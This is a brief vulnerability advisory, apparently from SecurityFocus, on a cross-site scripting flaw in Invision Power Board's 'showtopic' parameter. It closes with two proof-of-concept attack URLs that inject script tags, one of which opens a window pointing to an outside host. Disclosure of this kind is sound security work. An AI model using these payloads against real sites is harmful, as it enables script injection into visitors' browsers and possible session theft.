source: http://www.securityfocus.com/bid/8575/info

Invision Power Board is prone to a cross-site scripting vulnerability. It has been reported that a remote attacker may construct a malicious link to the index.php script and supply arbitrary HTML code as a value for the 'showtopic' URI parameter. If this link is followed, the content of the URI parameter will be rendered in the browser of the user who followed the link. 

http://www.example.com/index.php?showtopic='><script>window.open
(window.location.search.substring(79))
</script>http://binaryvision.tech.nu?BoyBear$$$From$$$BinaryVision
http://www.example.com/?showtopic='><script>alert(window.document.url)</script><plaintext>